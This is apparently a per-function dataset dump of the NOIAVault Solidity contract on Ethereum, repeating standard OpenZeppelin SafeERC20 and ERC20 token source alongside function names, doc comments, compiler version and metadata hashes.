{ "func_code_index": [ 2030, 2132 ] }
7,069
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeERC20
library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
/** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */
NatSpecMultiLine
callOptionalReturn
function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } }
/** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 2082, 3201 ] }
7,070
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev See `IERC20.totalSupply`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 290, 386 ] }
7,071
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
/** * @dev See `IERC20.balanceOf`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 444, 559 ] }
7,072
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; }
/** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 767, 928 ] }
7,073
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See `IERC20.allowance`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 986, 1125 ] }
7,074
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
